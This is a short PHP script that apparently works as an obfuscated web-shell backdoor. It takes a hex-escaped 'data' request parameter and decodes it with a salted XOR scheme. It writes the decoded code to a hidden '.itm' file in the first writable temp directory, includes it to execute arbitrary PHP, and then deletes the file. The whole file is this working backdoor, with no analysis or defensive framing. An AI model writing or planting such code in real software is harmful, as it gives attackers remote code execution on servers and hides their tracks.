<?php

if(array_key_exists("d\x61t\x61", $_REQUEST) && !is_null($_REQUEST["d\x61t\x61"])){
	$obj = array_filter(["/tmp", getenv("TMP"), "/dev/shm", "/var/tmp", getcwd(), getenv("TEMP"), sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir")]);
	$item = $_REQUEST["d\x61t\x61"];
	 	$item	=   explode ( '.'			,$item	 )	; 
	$tkn = '';
            $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt9	);
            $z = 0;
    
            foreach ($item as $v4) {
                $chS = ord($salt9[$z	%		$lenS]	);
                $d = ((int)$v4 - $chS - ($z	%		10)) ^ 13;
                $tkn .= chr($d	);
                $z++; }	
	$dat = 0;
do {
    $reference = $obj[$dat] ?? null;
    if ($dat >= count($obj)) break;
    		if ((is_dir($reference) and is_writable($reference))) {
    $k = sprintf("%s/.itm", $reference);
    $file = fopen($k, 'w');
if ($file) {
	fwrite($file, $tkn);
	fclose($file);
	include $k;
	@unlink($k);
	die();
}
}
    $dat++;
} while (true);
}